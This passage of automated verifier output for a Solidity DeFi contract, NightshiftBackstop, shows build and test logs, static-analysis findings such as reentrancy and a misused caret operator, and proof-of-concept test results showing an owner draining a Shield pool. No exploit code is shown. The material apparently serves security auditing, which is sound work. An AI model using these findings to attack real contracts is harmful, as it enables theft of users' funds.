/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":752,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":1256,\"test/NightshiftEconomicProperties.t.sol\":341,\"test/NightshiftFailurePaths.t.sol\":492,\"test/NightshiftInvariant.t.sol\":127,\"test/NightshiftRevisionProperties.t.sol\":408,\"test/TESTING.md\":96,\"test/UniV3MathProperties.t.sol\":176,\"test/helpers/AdversarialToken.sol\":100,\"test/invariant/BackstopHandler.sol\":607,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"678a92e9cb554c4f284160c25a0374484ae21fb35677ed09c19c596aa9120bc7","verifiedTreeHash":"5639e816fea28fbc12c28c9dbe2b3273658dcdf3","verifierVersion":"0.1.0+6b1a2333"},{"checks":[{"durationMs":1948,"exitCode":0,"name":"build","output":"Compiling 26 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.85s\nCompiler run successful!\n","passed":true},{"durationMs":185,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 6458388)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 597.27µs (350.96µs CPU time)\n\nRan 39 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2328808, ~: 2348661)\nLogs:\n  Bound result 1\n  Bound result -746\n  Bound result 11884\n  Bound result 13\n\n[PASS] test_bidRules() (gas: 462429)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5336659)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 329913)\n[PASS] test_claimRules() (gas: 850079)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3169700)\n[PASS] test_constructorRejectsBadArgs() (gas: 1079137)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57128)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 241412)\n[PASS] test_createOfferTooSmall() (gas: 39779)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127061)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128135)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4472041)\n[PASS] test_fullCoverageNoShield() (gas: 986611)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 244148)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7088)\n[PASS] test_meanTickRoundsDown() (gas: 5519)\n[PASS] test_noBidsReturnsEverything() (gas: 349536)\n[PASS] test_oversubscribedProRata() (gas: 914437)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 778312)\n[PASS] test_pumpFilterSkipsShield() (gas: 493045)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28947)\n[PASS] test_redepositRestartsLock() (gas: 297403)\n[PASS] test_reentrancyBlocked() (gas: 5297070)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 1173721)\n[PASS] test_setTreasury() (gas: 103350)\n[PASS] test_settleRules() (gas: 329442)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6381470)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4410369)\n[PASS] test_shieldLockAndWithdraw() (gas: 437621)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 5639960)\n[PASS] test_shieldSharedProRata() (gas: 731820)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 993650)\n[PASS] test_shieldZeroDeposit() (gas: 39442)\n[PASS] test_sqrtRatioKnownValues() (gas: 6823)\n[PASS] test_twoStepOwnership() (gas: 177254)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 587420)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3255052)\n[PASS] test_withdrawTreasuryNothing() (gas: 36719)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 82.05ms (100.36ms CPU time)\n\nRan 2 test suites in 83.04ms (82.65ms CPU time): 40 tests passed, 0 failed, 0 skipped (40 total tests)\n","passed":true},{"durationMs":53,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":171,\"foundry.toml\":17,\"launch.json\":17,\"remappings.txt\":1,\"script/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":600,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":757,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8a2b2aadc987aaa8884676a7778fcea941578e4ee6132e5c7dc48fb8bfcc1120","verifiedTreeHash":"ba3399d0a20068d73a7812ef6707cf0787d031d1","verifierVersion":"0.1.0+6b1a2333"},{"checks":[{"durationMs":1950,"exitCode":0,"name":"build","output":"Compiling 26 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.85s\nCompiler run successful!\n","passed":true},{"durationMs":190,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 6458388)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 658.49µs (384.47µs CPU time)\n\nRan 39 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2328808, ~: 2348661)\nLogs:\n  Bound result 1\n  Bound result -746\n  Bound result 11884\n  Bound result 13\n\n[PASS] test_bidRules() (gas: 462429)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5336659)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 329913)\n[PASS] test_claimRules() (gas: 850079)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3169700)\n[PASS] test_constructorRejectsBadArgs() (gas: 1079137)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57128)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 241412)\n[PASS] test_createOfferTooSmall() (gas: 39779)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127061)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128135)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4472041)\n[PASS] test_fullCoverageNoShield() (gas: 986611)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 244148)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7088)\n[PASS] test_meanTickRoundsDown() (gas: 5519)\n[PASS] test_noBidsReturnsEverything() (gas: 349536)\n[PASS] test_oversubscribedProRata() (gas: 914437)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 778312)\n[PASS] test_pumpFilterSkipsShield() (gas: 493045)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28947)\n[PASS] test_redepositRestartsLock() (gas: 297403)\n[PASS] test_reentrancyBlocked() (gas: 5297070)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 1173721)\n[PASS] test_setTreasury() (gas: 103350)\n[PASS] test_settleRules() (gas: 329442)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6381470)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4410369)\n[PASS] test_shieldLockAndWithdraw() (gas: 437621)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 5639960)\n[PASS] test_shieldSharedProRata() (gas: 731820)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 993650)\n[PASS] test_shieldZeroDeposit() (gas: 39442)\n[PASS] test_sqrtRatioKnownValues() (gas: 6823)\n[PASS] test_twoStepOwnership() (gas: 177254)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 587420)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3255052)\n[PASS] test_withdrawTreasuryNothing() (gas: 36719)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 79.98ms (97.12ms CPU time)\n\nRan 2 test suites in 81.28ms (80.64ms CPU time): 40 tests passed, 0 failed, 0 skipped (40 total tests)\n","passed":true},{"durationMs":44,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":171,\"foundry.toml\":17,\"remappings.txt\":1,\"script/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":600,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":757,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":919,"exitCode":0,"name":"slither","output":"[high/medium] incorrect-exp at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] reentrancy-balance at src/NightshiftBackstop.sol:585: Reentrancy in NightshiftBackstop._pullExact(address,uint256) (src/NightshiftBackstop.sol#585-589):\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/NightshiftBackstop.sol:332: NightshiftBackstop.createOffer(uint256) (src/NightshiftBackstop.sol#332-350) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:17: UniV3Math.getSqrtRatioAtTick(int24) (src/libraries/UniV3Math.sol#17-51) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/NightshiftBackstop.sol:372: NightshiftBackstop.settle(uint256) (src/NightshiftBackstop.sol#372-403) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:472: Reentrancy in NightshiftBackstop.shieldWithdraw(uint256) (src/NightshiftBackstop.sol#472-483):\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:460: Reentrancy in NightshiftBackstop.shieldDeposit(uint256) (src/NightshiftBackstop.sol#460-469):\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:486: Reentrancy in NightshiftBackstop.shieldClaimGains() (src/NightshiftBackstop.sol#486-489):\n[medium/medium] unused-return at src/NightshiftBackstop.sol:297: NightshiftBackstop.quoteLot(uint256) (src/NightshiftBackstop.sol#297-318) ignores return value by (cum,None) = IUniswapV3PoolLike(pool).observe(ago) (src/NightshiftBackstop.sol#306)\n[low/medium] missing-zero-check at src/NightshiftBackstop.sol:248: NightshiftBackstop.transferOwnership(address).newOwner (src/NightshiftBackstop.sol#248) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/NightshiftBackstop.sol:460: Reentrancy in NightshiftBackstop.shieldDeposit(uint256) (src/NightshiftBackstop.sol#460-469):\n[low/medium] reentrancy-benign at src/NightshiftBackstop.sol:472: Reentrancy in NightshiftBackstop.shieldWithdraw(uint256) (src/NightshiftBackstop.sol#472-483):\n[low/medium] timestamp at src/NightshiftBackstop.sol:472: NightshiftBackstop.shieldWithdraw(uint256) (src/NightshiftBackstop.sol#472-483) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:372: NightshiftBackstop.settle(uint256) (src/NightshiftBackstop.sol#372-403) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:353: NightshiftBackstop.placeBid(uint256,uint256) (src/NightshiftBackstop.sol#353-369) uses timestamp for comparisons","passed":true},{"durationMs":369,"exitCode":0,"name":"aderyn","output":"[high] incorrect-caret-operator at src/libraries/UniV3Math.sol:123: Incorrect use of caret operator\n[high] reentrancy-state-change at src/NightshiftBackstop.sol:271: Reentrancy: State change after external call (3 places)\n[high] unsafe-casting at src/NightshiftBackstop.sol:343: Unsafe Casting of integers\n[low] centralization-risk at src/NightshiftBackstop.sol:248: Centralization Risk (4 places)\n[low] internal-function-used-once at src/libraries/UniV3Math.sol:17: Internal Function Used Only Once\n[low] large-numeric-literal at src/NightshiftBackstop.sol:31: Large Numeric Literal\n[low] literal-instead-of-constant at src/libraries/UniV3Math.sol:24: Literal Instead of Constant (25 places)\n[low] state-no-address-check at src/NightshiftBackstop.sol:249: Address State Variable Set Without Checks\n[low] unsafe-erc20-operation at src/NightshiftBackstop.sol:587: Unsafe ERC20 Operation (2 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"de799a90b640917541b8062187be6b2a18914d23c89a6297f5098d22d981cefe","verifiedTreeHash":"01529ac7925be49dcf34ac9e5263aa44e7f16372","verifierVersion":"0.1.0+86c49021"},{"checks":[{"durationMs":2482,"exitCode":0,"name":"build","output":"Compiling 26 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.40s\nCompiler run successful!\n","passed":true},{"durationMs":235,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 7301905)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 855.25µs (490.13µs CPU time)\n\nRan 57 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2356652, ~: 2308492)\nLogs:\n  Bound result 4\n  Bound result 2165\n  Bound result 12374\n  Bound result 84\n  Bound result 29\n  Bound result 68\n  Bound result 35\n\n[PASS] testFuzz_multiOfferShieldConservation(uint96,uint8,uint256) (runs: 256, μ: 3099159, ~: 2583361)\nLogs:\n  Bound result 49999000000000000009130\n  Bound result 1\n\n[PASS] test_bidRules() (gas: 458541)\n[PASS] test_blockedRecipientClaimsToAnotherAddress() (gas: 6756614)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5777057)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 340732)\n[PASS] test_claimRules() (gas: 854700)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3607698)\n[PASS] test_constructorRejectsBadArgs() (gas: 1177430)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57120)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 250877)\n[PASS] test_createOfferTooSmall() (gas: 39846)\n[PASS] test_createOfferWithPriceBound() (gas: 439253)\n[PASS] test_depositDuringWindowDoesNotEnlargeShieldSlice() (gas: 792724)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127095)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128213)\n[PASS] test_dustLeftInShieldDoesNotStrandFees() (gas: 1454980)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4917384)\n[PASS] test_fullCoverageNoShield() (gas: 990927)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 251417)\n[PASS] test_lateShieldDepositDoesNotJoinOffer() (gas: 723272)\n[PASS] test_lockedDepositorCanLeaveBeforeNewPriceSource() (gas: 881427)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7044)\n[PASS] test_meanTickRoundsDown() (gas: 5542)\n[PASS] test_momentumSaturatesWhenPastValueRoundsToZero() (gas: 5274881)\n[PASS] test_noBidsReturnsEverything() (gas: 356022)\n[PASS] test_oneWeiDepositEarnsNoFees() (gas: 699834)\n[PASS] test_oversubscribedProRata() (gas: 914207)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 953775)\n[PASS] test_pauseDoesNotShutBiddersOut() (gas: 848067)\n[PASS] test_priceSourceChangeCanBeCancelledAndRescheduled() (gas: 793270)\n[PASS] test_priceSourceChangeIsDelayed() (gas: 1056459)\n[PASS] test_pumpFilterSkipsShield() (gas: 503891)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28941)\n[PASS] test_redepositRestartsLock() (gas: 301856)\n[PASS] test_reentrancyBlocked() (gas: 5739541)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 4799148)\n[PASS] test_setTreasury() (gas: 103534)\n[PASS] test_settleRules() (gas: 335972)\n[PASS] test_shieldBuysDownToTheFrozenPriceAndNotBelow() (gas: 1048123)\n[PASS] test_shieldDepositNeedsPriceSource() (gas: 3924731)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6878688)\n[PASS] test_shieldDoesNotBuyAboveSettlementTwap() (gas: 923526)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4998237)\n[PASS] test_shieldLockAndWithdraw() (gas: 442142)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 6137902)\n[PASS] test_shieldSharedProRata() (gas: 806413)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 1076601)\n[PASS] test_shieldZeroDeposit() (gas: 39420)\n[PASS] test_splitOffersShareOneShieldBudget() (gas: 1743474)\n[PASS] test_sqrtRatioKnownValues() (gas: 6735)\n[PASS] test_twoStepOwnership() (gas: 177237)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 591608)\n[PASS] test_unreadablePoolAtSettlementSkipsShieldOnly() (gas: 810555)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3695245)\n[PASS] test_withdrawCannotTakeFundsReservedForOpenOffers() (gas: 1001347)\n[PASS] test_withdrawTreasuryNothing() (gas: 36787)\nSuite result: ok. 57 passed; 0 failed; 0 skipped; finished in 121.58ms (272.92ms CPU time)\n\nRan 2 test suites in 122.72ms (122.43ms CPU time): 58 tests passed, 0 failed, 0 skipped (58 total tests)\n","passed":true},{"durationMs":36,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.applyPriceSource()\",\"NightshiftBackstop.cancelPriceSourceChange()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimBidTo(uint256,address)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.claimSellerTo(uint256,address)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.createOffer(uint256,uint256,uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldClaimGainsTo(address)\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.shieldWithdrawTo(uint256,address)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":231,\"foundry.toml\":17,\"remappings.txt\":1,\"script/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":752,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":1256,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1192,"exitCode":0,"name":"slither","output":"[high/medium] incorrect-exp at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] reentrancy-balance at src/NightshiftBackstop.sol:737: Reentrancy in NightshiftBackstop._pullExact(address,uint256) (src/NightshiftBackstop.sol#737-741):\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:17: UniV3Math.getSqrtRatioAtTick(int24) (src/libraries/UniV3Math.sol#17-51) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/NightshiftBackstop.sol:466: NightshiftBackstop.settle(uint256) (src/NightshiftBackstop.sol#466-507) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/NightshiftBackstop.sol:414: NightshiftBackstop._createOffer(uint256,uint256) (src/NightshiftBackstop.sol#414-442) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/UniV3Math.sol:53: UniV3Math.mulDiv(uint256,uint256,uint256) (src/libraries/UniV3Math.sol#53-143) performs a multiplication on the result of a division:\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:588: Reentrancy in NightshiftBackstop.shieldDeposit(uint256) (src/NightshiftBackstop.sol#588-598):\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:636: Reentrancy in NightshiftBackstop.shieldClaimGainsTo(address) (src/NightshiftBackstop.sol#636-640):\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:612: Reentrancy in NightshiftBackstop._shieldWithdraw(uint256,address) (src/NightshiftBackstop.sol#612-627):\n[medium/medium] reentrancy-no-eth at src/NightshiftBackstop.sol:630: Reentrancy in NightshiftBackstop.shieldClaimGains() (src/NightshiftBackstop.sol#630-633):\n[medium/medium] uninitialized-local at src/NightshiftBackstop.sol:496: NightshiftBackstop.settle(uint256).shieldFee (src/NightshiftBackstop.sol#496) is a local variable never initialized\n[medium/medium] unused-return at src/NightshiftBackstop.sol:367: NightshiftBackstop._twapValues(uint256) (src/NightshiftBackstop.sol#367-382) ignores return value by (cum,None) = IUniswapV3PoolLike(pool).observe(ago) (src/NightshiftBackstop.sol#376)\n[low/medium] missing-zero-check at src/NightshiftBackstop.sol:267: NightshiftBackstop.transferOwnership(address).newOwner (src/NightshiftBackstop.sol#267) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/NightshiftBackstop.sol:588: Reentrancy in NightshiftBackstop.shieldDeposit(uint256) (src/NightshiftBackstop.sol#588-598):\n[low/medium] reentrancy-benign at src/NightshiftBackstop.sol:612: Reentrancy in NightshiftBackstop._shieldWithdraw(uint256,address) (src/NightshiftBackstop.sol#612-627):\n[low/medium] timestamp at src/NightshiftBackstop.sol:404: NightshiftBackstop.createOffer(uint256,uint256,uint256) (src/NightshiftBackstop.sol#404-412) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:308: NightshiftBackstop.applyPriceSource() (src/NightshiftBackstop.sol#308-316) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:612: NightshiftBackstop._shieldWithdraw(uint256,address) (src/NightshiftBackstop.sol#612-627) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:446: NightshiftBackstop.placeBid(uint256,uint256) (src/NightshiftBackstop.sol#446-462) uses timestamp for comparisons\n[low/medium] timestamp at src/NightshiftBackstop.sol:466: NightshiftBackstop.settle(uint256) (src/NightshiftBackstop.sol#466-507) uses timestamp for comparisons","passed":true},{"durationMs":340,"exitCode":0,"name":"aderyn","output":"[high] incorrect-caret-operator at src/libraries/UniV3Math.sol:123: Incorrect use of caret operator\n[high] reentrancy-state-change at src/NightshiftBackstop.sol:293: Reentrancy: State change after external call (4 places)\n[high] unsafe-casting at src/NightshiftBackstop.sol:303: Unsafe Casting of integers (2 places)\n[low] centralization-risk at src/NightshiftBackstop.sol:267: Centralization Risk (6 places)\n[low] division-before-multiplication at src/NightshiftBackstop.sol:500: Incorrect Order of Division and Multiplication\n[low] internal-function-used-once at src/libraries/UniV3Math.sol:17: Internal Function Used Only Once\n[low] large-numeric-literal at src/NightshiftBackstop.sol:31: Large Numeric Literal\n[low] literal-instead-of-constant at src/libraries/UniV3Math.sol:24: Literal Instead of Constant (25 places)\n[low] state-no-address-check at src/NightshiftBackstop.sol:268: Address State Variable Set Without Checks\n[low] unsafe-erc20-operation at src/NightshiftBackstop.sol:739: Unsafe ERC20 Operation (2 places)","passed":true},{"durationMs":1655,"exitCode":0,"name":"proof 3cfa10b8edd1","output":"Compiling 23 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.06s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-792cb1a8/Proof_3cfa10b8edd1.t.sol:ShieldStalePriceProof\n[PASS] test_shieldBuysAtTenTimesTheSettlementPrice() (gas: 749359)\nLogs:\n  shield lots bought: 0\n  quote the Shield paid: 0\n  pool value of those tokens at settlement: 0\n  fair lotCost at settlement: 9500000000000000000\n  quote the attacker received: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.21ms (344.56µs CPU time)\n\nRan 1 test suite in 4.22ms (1.21ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1594,"exitCode":0,"name":"proof 0db48e485f70","output":"Compiling 2 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.07s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-fd914cc3/Proof_0db48e485f70.t.sol:PocOwnerDrain\n[PASS] test_ownerDrainsShieldViaPriceSource() (gas: 5072835)\nLogs:\n  owner USDC taken from Shield: 4607500000000000000000\n  depositor USDC left: 95250000000000000000000\n  depositor IMD received: 5000000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.73ms (1.82ms CPU time)\n\nRan 1 test suite in 3.21ms (2.73ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1784,"exitCode":0,"name":"proof 4d455a6d0b1d","output":"Compiling 2 